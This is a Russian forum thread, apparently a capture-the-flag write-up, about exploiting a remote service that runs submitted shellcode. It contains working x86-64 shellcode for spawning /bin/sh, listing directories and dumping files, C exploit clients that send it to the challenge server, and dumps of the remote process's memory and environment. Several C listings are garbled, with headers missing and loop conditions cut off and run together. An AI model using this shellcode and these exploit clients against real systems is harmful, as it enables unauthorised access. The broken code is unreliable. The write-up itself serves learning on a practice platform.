 |

16.04.2024, 00:32
|
|
Новичок
Регистрация: 03.07.2017
Сообщений: 7
С нами:
4665206
Репутация:
2
|
|
Я приступил к следующему таску. Хотелось решить сначала все легкие задачки, чтобы переходит потом к более сложным, но эта задачка оказалась непростой. Первым делом я попробовал вызвать обычный шелл через syscall execve, но программа не выполняла эту команду корректно, хотя сам шелл в моей тестовой версии отрабатывать корректно.
Как я делаю шеллкоды. Пишу на ассемблере наш код, потом в radare2 смотрю размер секции кода и если он подходит, то можно с помощью команды pc создать буфер шеллкода.
Код:
Код:
section .text
global _start
_start:
xor rax, rax
mov al, 59
mov rdi, 0x68732f6e69622fff
shr rdi, 8
push rdi
lea rdi, [rsp]
xor rsi, rsi
xor rdx, rdx
xor r9, r9
syscall
Код:
Код:
> pc
#define _BUFFER_SIZE 256
const uint8_t buffer[_BUFFER_SIZE] = {
0x48, 0x31, 0xc0, 0xb0, 0x3b, 0x48, 0xbf, 0xff, 0x2f, 0x62,
0x69, 0x6e, 0x2f, 0x73, 0x68, 0x48, 0xc1, 0xef, 0x08, 0x57,
0x48, 0x8d, 0x3c, 0x24, 0x48, 0x31, 0xf6, 0x48, 0x31, 0xd2,
0x4d, 0x31, 0xc9, 0x0f, 0x05, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};
Ну и разумеется мы берем только ту часть байт, которая относится к действующему коду. Я взял часть кода из интернета, чтобы не заморачиваться с написанием запуска и настройки дочернего процесса, и код вышел вот такой.
C:
Код:
#include
#include
#include
#include
#include
#include
#include
#include
uint8_t shellcode
[
]
=
{
0x48
,
0x31
,
0xc0
,
0xb0
,
0x3b
,
0x48
,
0xbf
,
0xff
,
0x2f
,
0x62
,
0x69
,
0x6e
,
0x2f
,
0x73
,
0x68
,
0x48
,
0xc1
,
0xef
,
0x08
,
0x57
,
0x48
,
0x8d
,
0x3c
,
0x24
,
0x48
,
0x31
,
0xf6
,
0x48
,
0x31
,
0xd2
,
0x4d
,
0x31
,
0xc9
,
0x0f
,
0x05
}
;
int
main
(
int
argc
,
char
*
*
argv
)
{
pid_t pid
=
0
;
int
inpipefd
[
2
]
;
int
outpipefd
[
2
]
;
char
buf
[
256
]
;
char
msg
[
256
]
;
int
status
;
pipe
(
inpipefd
)
;
pipe
(
outpipefd
)
;
pid
=
fork
(
)
;
if
(
pid
==
0
)
{
// Child
dup2
(
outpipefd
[
0
]
,
STDIN_FILENO
)
;
dup2
(
inpipefd
[
1
]
,
STDOUT_FILENO
)
;
dup2
(
inpipefd
[
1
]
,
STDERR_FILENO
)
;
//ask kernel to deliver SIGTERM in case the parent dies
prctl
(
PR_SET_PDEATHSIG
,
SIGTERM
)
;
//close unused pipe ends
close
(
outpipefd
[
1
]
)
;
close
(
inpipefd
[
0
]
)
;
//replace tee with your process
execl
(
"./task"
,
"./task"
,
(
char
*
)
NULL
)
;
// Nothing below this line should be executed by child process. If so,
// it means that the execl function wasn't successfull, so lets exit:
exit
(
1
)
;
}
// The code below will be executed only by parent. You can write and read
// from the child using pipefd descriptors, and you can send signals to
// the process using its pid by kill() function. If the child process will
// exit unexpectedly, the parent process will obtain SIGCHLD signal that
// can be handled (e.g. you can respawn the child process).
//close unused pipe ends
close
(
outpipefd
[
0
]
)
;
close
(
inpipefd
[
1
]
)
;
// Now, you can write to outpipefd[1] and read from inpipefd[0] :
read
(
inpipefd
[
0
]
,
buf
,
256
)
;
printf
(
"%s\n"
,
buf
)
;
fgets
(
buf
,
256
,
stdin
)
;
printf
(
"[+] Exploit\n"
)
;
write
(
outpipefd
[
1
]
,
shellcode
,
sizeof
(
shellcode
)
)
;
//read(inpipefd[0], buf, 256);
//printf ("%s\n", buf);
printf
(
"Enter message to send\n"
)
;
fgets
(
msg
,
256
,
stdin
)
;
write
(
outpipefd
[
1
]
,
msg
,
strlen
(
msg
)
)
;
while
(
1
)
{
#if 0
fgets
(
msg
,
256
,
stdin
)
;
if
(
strcmp
(
msg
,
"exit"
)
==
0
)
break
;
write
(
outpipefd
[
1
]
,
msg
,
strlen
(
msg
)
)
;
//write(outpipefd[1], msg, strlen(msg));
#endif
memset
(
buf
,
0
,
256
)
;
int
r
=
read
(
inpipefd
[
0
]
,
buf
,
256
)
;
if
(
r
>
0
)
{
if
(
buf
[
0
]
>=
' '
&&
buf
[
0
]
#include
#include
#include
#include
#include
uint8_t shellcode
[
]
=
{
0x48
,
0x89
,
0xe5
,
0x48
,
0x31
,
0xc0
,
0x50
,
0x50
,
0x50
,
0x50
,
0x50
,
0x50
,
0x50
,
0x50
,
0x50
,
0x50
,
0xb0
,
0x02
,
0x5a
,
0x5e
,
0x48
,
0xff
,
0xc6
,
0x48
,
0xc1
,
0xe6
,
0x10
,
0xb2
,
0x2e
,
0x52
,
0x48
,
0x8d
,
0x3c
,
0x24
,
0x0f
,
0x05
,
0x48
,
0x89
,
0x45
,
0xf8
,
0x89
,
0xc7
,
0x48
,
0x8d
,
0x74
,
0x24
,
0x20
,
0x5a
,
0xfe
,
0xc2
,
0x66
,
0xc1
,
0xe2
,
0x0b
,
0xb0
,
0x4e
,
0x0f
,
0x05
,
0x48
,
0x89
,
0x44
,
0x24
,
0x10
,
0xb0
,
0x01
,
0xbf
,
0x01
,
0x00
,
0x00
,
0x00
,
0x48
,
0x8d
,
0x74
,
0x24
,
0x20
,
0xba
,
0x00
,
0x08
,
0x00
,
0x00
,
0x0f
,
0x05
}
;
int
main
(
int
argc
,
char
*
*
argv
)
{
int
sock
=
socket
(
AF_INET
,
SOCK_STREAM
,
0
)
;
struct
sockaddr_in
s
;
s
.
sin_family
=
AF_INET
;
inet_aton
(
"62.173.140.174"
,
&
s
.
sin_addr
)
;
s
.
sin_port
=
htons
(
27650
)
;
int
ret
=
connect
(
sock
,
(
const
struct
sockaddr
*
)
&
s
,
sizeof
(
s
)
)
;
if
(
ret
!=
0
)
{
printf
(
"error connection: \n"
)
;
exit
(
0
)
;
}
printf
(
"[+] Connected\n"
)
;
char
l
[
]
=
"l"
;
char
buf
[
512
]
;
read
(
sock
,
buf
,
512
)
;
printf
(
"%s\n"
,
buf
)
;
memset
(
buf
,
0
,
512
)
;
printf
(
"[+] Exploit\n"
)
;
write
(
sock
,
shellcode
,
sizeof
(
shellcode
)
)
;
printf
(
"[+] Enter some text\n"
)
;
fgets
(
buf
,
512
,
stdin
)
;
write
(
sock
,
buf
,
512
)
;
while
(
1
)
{
int
r
=
read
(
sock
,
buf
,
512
)
;
if
(
r
>
0
)
{
if
(
buf
[
0
]
>=
' '
&&
buf
[
0
]
0
)
{
#if 1
printf
(
"r: %d\n"
,
r
)
;
for
(
int
i
=
0
;
i
=
' '
&&
buf
[
0
]
./net
[+] Connected
Enter your shellcode:
[+] Exploit
[+] Enter some text
f
r: 512
01 00 00 00 00 00 00 00 18 00 2e 00 00 00 00 04 75 e2 7f 01 00 00 00 00 02 00 00 00 00 00 00 00 18 00 2e 2e 00 55 00 04 c6 c5 14 02 00 00 00 00 03 00 00 00 00 00 00 00 18 00 63 6f 72 65 00 08 48 de 9f 01 00 00 00 00 04 00 00 00 00 00 00 00 18 00 74 61 73 6b 00 08 00 00 00 00 01 00 00 00 78 d5 b1 9c fc 7f 00 00 00 00 00 00 00 00 00 00 04 2f 8a 00 a0 1a b5 7f 78 d5 b1 9c fc 7f 00 00 c9 01 b0 88 be 55 00 00 a0 2d b0 88 be 55 00 00 40 e0 a3 56 05 7f 00 00 04 2f 68 a8 c3 23 4c 80 04 2f 00 1a a0 b7 bf 81 00 00 00 00 05 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 86 b3 85 8a 57 52 8b 00 00 00 00 00 00 00 00 40 0e 80 56 05 7f 00 00 88 d5 b1 9c fc 7f 00 00 a0 2d b0 88 be 55 00 00 e0 f2 a3 56 05 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 b0 88 be 55 00 00 70 d5 b1 9c fc 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 01 b0 88 be 55 00 00 68 d5 b1 9c fc 7f 00 00 1c 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 18 df b1 9c fc 7f 00 00 00 00 00 00 00 00 00 00 22 df b1 9c fc 7f 00 00 38 df b1 9c fc 7f 00 00 43 df b1 9c fc 7f 00 00 85 df b1 9c fc 7f 00 00 8e df b1 9c fc 7f 00 00 98 df b1 9c fc 7f 00 00 af df b1 9c fc 7f 00 00 c1 df b1 9c fc 7f 00 00 da df b1 9c fc 7f 00 00 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 00 d0 b9 9c fc 7f 00 00 10 00 00 00 00 00 00 00 ff fb eb bf 00 00 00 00 06 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 11 00 00 00 00 00 00 00 64 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 40 f0 af 88 be 55 00 00
r: 512
04 00 00 00 00 00 00 00 38 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 0d 00 00 00 00 00 00 00 07 00 00 00 00 00 00 00 00 40 a0 56 05 7f 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 00 00 00 00 00 00 00 e0 00 b0 88 be 55 00 00 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 17 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00 00 00 00 00 19 d7 b1 9c fc 7f 00 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1f 00 00 00 00 00 00 00 ee df b1 9c fc 7f 00 00 0f 00 00 00 00 00 00 00 29 d7 b1 9c fc 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0e 86 b3 85 8a 57 52 8b 44 00 50 8d da 3f 82 17 78 38 36 5f 36 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
r: 512
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
r: 512
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Далее я захожу на сайт ASCII to Hex - Free text conversion tools и смотрю как отобразиться hex в ascii.
Код:
Код:
��������.����u�������������..�U���������������core�Hޟ������������task��������xձ������������/����xձ��������U���-���U��@�V��/h��#L�/������������������������������������������������WR���������@�V���ձ�����-���U����V�����������������������U��pձ�����������������������U��hձ������������������߱������������"߱����8߱����C߱�����߱�����߱�����߱�����߱�����߱�����߱������������!��������й���������������������������������������d��������������@U���������8��������������
���������������@�V����������������� ������������U��������������������������������
����������������������������������������������������ױ���������������������������߱�����������)ױ�������������������������WR�D�P��?�x86_64���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
Видим, что есть файл core и task. Потом я отредактировал shellcode и добавил циклы, но всё равно было только два файла, core и task. Также слово Me появилось, но чтение этого файла не удалось, так что можно было подумать, что это просто мусорные данные. Нужно было попробовать скачать core файл и я приступил к написанию кода на ассемблере. Первое, что я хотел сделать, это узнать размер программы core. Я написал такой шеллкод.
Код:
Код:
section .text
global _start
_start:
xor rax, rax
mov cl, 18
cycle:
push rax
dec cl
cmp cl, 0
jne cycle
mov al, 4
mov rdi, 0x65726f63ffffffff
shr rdi, 8 * 4
push rdi
lea rdi, [rsp]
lea rsi, [rsp + 8]
xor rdx, rdx
xor r9, r9
syscall
xor rdi, rdi
inc di
lea rsi, [rsp + 8]
mov rdx, 144
mov al, 1
syscall
и получил такой выхлоп.
Код:
Код:
01 00 30 00 00 00 00 00 ed db 14 02 00 00 00 00 01 00 00 00 00 00 00 00 80 81 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 06 00 00 00 00 00 00 10 00 00 00 00 00 00 08 01 00 00 00 00 00 00 43 24 1d 66 00 00 00 00 40 70 10 32 00 00 00 00 43 24 1d 66 00 00 00 00 40 70 10 32 00 00 00 00 43 24 1d 66 00 00 00 00 40 70 10 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Смещение размера файла находилось на смещении 48.
434176 - размер файла core. Теперь нужно было скачать его. Я написал шелл, который должен был скачать этот файл.
Код:
Код:
section .text
global _start
_start:
mov rbp, rsp
xor rax, rax
mov al, 2
xor rdi, rdi
push rdi
mov edi, 0x65726f63
push rdi
lea rdi, [rbp - 16]
xor rsi, rsi
syscall
mov [rbp - 16], rax
mov cl, 16 + 4
cycle:
push rax
dec cl
jne cycle
mov ecx, 434176
copy:
mov rdi, [rbp - 16]
lea rsi, [rsp]
mov rdx, 128
xor al, al
syscall
js end
mov r8d, eax
mov al, 1
mov rdi, rax
lea rsi, [rsp]
; mov edx, r8d
syscall
sub ecx, r8d
jne copy
end:
Таким образом я выкачал файл core с избыточными данными. Выполнив strings для нашего файла, который я отсек до размера, которым он соответствует, я нашел.
Код:
[CODE]
xverizex@localhost:~/codeby> strings out.core
Код:
kIwU
CORE
2kIwU
CORE
task
/app/task
IGISCORE
CORE
ELIFCORE
/app/task
/app/task
/app/task
/app/task
/app/task
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
CORE
////////////////
Enter your shell
LINUX
////////////////
Enter your shell
/lib64/ld-linux-x86-64.so.2
mgUa
__cxa_finalize
fgets
mprotect
__libc_start_main
stdout
fflush
stdin
getpagesize
printf
libc.so.6
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
Enter your shellcode:
:*3$"
GET / HTTP/1.1
Enter your shellcode:
GET / HTTP/1.1
From: bingbot(at)microsoft.com
Host: 62.173.140.174
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
kIwU
V
#include
#include
#include
int
main
(
int
argc
,
char
*
*
argv
)
{
if
(
argc
strings 4.elf
kIwU
IVATE
early_init
strnl
2kIwU
$B#A
Dsvx86_64
/app/task
HOSTNAME=aee83c5ed1a2
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PWD=/app
PROTO=TCP
TCPLOCALIP=[здесь ip]
TCPLOCALPORT=8000
TCPREMOTEIP=[здесь ip]
TCPREMOTEPORT=56706
TCPREMOTEHOST=msnbot-40-77-167-45.search.msn.com
/app/task
Зачем здесь msnbot-40-77-167-45.search.msn.com не понятно. Он не открывался в браузере, может быть нужно было через vpn заходить, но я не думаю, что задачка требует, чтобы через vpn заходить. Так что нужно идти дальше.
Иногда порывались мысли о том, чтобы спросить в телеграм группе о подсказке, но мне казалось, если я так сделаю, то буду чувствовать себя неуверенно. Потому что вроде знания есть, а я не могу справиться. Я был из-за этого недоволен, но немного, так как интерес к самой задачке мне нравился и я постоянно думал о ней, даже когда гулял. Уж так она запала в мои мысли, надеюсь мне будут сниться хорошие сны. Нужно было обдумать что ещё можно исследовать. В каталоге вроде как два файла всего, в переменных окружения нет ничего такого. Откуда читать флаг? )) Мне пришла ещё одна идея попробовать прочитать root директорию, не HOME=/root, а /. Но ничего не вышло. Удаленный сервер ничего не возвращал в ответ, так что нужно было думать дальше. Я даже попробовал простой ret вставить, чтобы выйти и продолжить выполнение программы дальше, но из этого тоже ничего не вышло.
Далее я сделал более совершенный считыватель стека, чтобы посмотреть переменные окружения.
Код:
Код:
section .text
global _start
_start:
mov rbp, rsp
mov rsi, rsp
cycle:
mov rdx, 1
mov rdi, 1
mov rax, 1
syscall
inc rsi
jne cycle
Сохранил это в файл и получил почти тоже самое что и у 4.elf.
Код:
Код:
xverizex@localhost:~/codeby> strings log.out.stack
G".=
@P.=
_^Ax
_^Ax
x86_64
/app/task
HOSTNAME=5e7b577b1006
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PWD=/app
PROTO=TCP
TCPLOCALIP=[здесь ip]
TCPLOCALPORT=8000
TCPREMOTEIP=[здесь ip]
TCPREMOTEPORT=47148
/app/task
bemX
__vdso_gettimeofday
__vdso_time
__vdso_clock_gettime
__vdso_clock_getres
__vdso_getcpu
linux-vdso.so.1
LINUX_2.6
Теперь понятно, теперь понятно. TCPREMOTEIP это наш ip. Так у меня белый ip, я узнал его. TCPLOCALIP это внутренный ip в локальной сети. Получается, что здесь есть перенаправление портов. Жаль, что это нам ничего не даёт.
PWD=/app. HOME=/root. В голове пусто. Надо ещё один вариант проверить, который пришел мне в голову. Попробовать записать данные в этот каталог. Получиться ли создать файл? Если такое получиться сделать, то можно переписать task, чтобы при следующем запуске выполнилась наша программа. Но размер поступающих данных ограничен 88 байт. надо постараться что-то придумать. Хотя ладно, записать файл в каталог, а что делать дальше? Если task переписать, то тоже неплохо, но я не думаю, что так решается задача. Запись файла в каталог не буду пробовать. Я думаю, что здесь надо было просто правильно shellcode прописать, видимо я неправильно прописал execve. Может поэтому не сработало, но в конце концов я и этот момент тоже изучу. Всё-таки я склоняюсь к тому, что не правильно сделал execve. Задача была простой, и я пока не справился. Чтож, продолжу выполнения уже без описания моих дальнейших действий.
Спасибо за внимание.
|
|
|

16.04.2024, 12:58
|
|
Новичок
Регистрация: 03.07.2017
Сообщений: 7
С нами:
4665206
Репутация:
2
|
|
Оказывается, что я неправильно писал shellcode для вызова sh. Вот правильный вариант и мы в системе.
Код:
Код:
section .text
global _start
_start:
xor rdx, rdx
push rdx
mov rdi, 0x68732f6e69622fff
shr rdi, 8
push rdi
mov rdi, rsp
push rdx
push rdi
mov rsi, rsp
xor rax, rax
mov al, 59
syscall
|
|
|

01.05.2024, 19:08
|
|
Новичок
Регистрация: 01.05.2024
Сообщений: 0
С нами:
1072769
Репутация:
0
|
|
xverizex сказал(а):
Оказывается, что я неправильно писал shellcode для вызова sh. Вот правильный вариант и мы в системе.
Код:
Код:
section .text
global _start
_start:
xor rdx, rdx
push rdx
mov rdi, 0x68732f6e69622fff
shr rdi, 8
push rdi
mov rdi, rsp
push rdx
push rdi
mov rsi, rsp
xor rax, rax
mov al, 59
syscall
я пробовал много вариаций вызова bin/, но я не могу допереть как дочерний процесс execve заставить ввод/вывод перенаправлять. Если этот шелкод подставить, bin/sh там запустится. А дальше как это использовать?
|
|
|

01.05.2024, 22:40
|
|
Новичок
Регистрация: 03.07.2017
Сообщений: 7
С нами:
4665206
Репутация:
2
|
|
nitrotek сказал(а):
я пробовал много вариаций вызова bin/, но я не могу допереть как дочерний процесс execve заставить ввод/вывод перенаправлять. Если этот шелкод подставить, bin/sh там запустится. А дальше как это использовать?
Там так устроено, что мы можем заранее указать какой вывод будет для дочернего процесса. Если мы в дочернем процессе не меняем ввод вывод, то будет использоваться тот, что был указан до вызова программы. Даже знаете что можно делать? Можно написать консольную программу и выводить printf и получать текст с помощью fgets к примеру. А потом написать сетевую программу, переопределить с помощью dup2 ввод вывод, то-есть построить pipe и запустить предыдущую программу как дочернюю. И тогда сетевая программа будет работать по сети как будто она изначально так была написана.
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|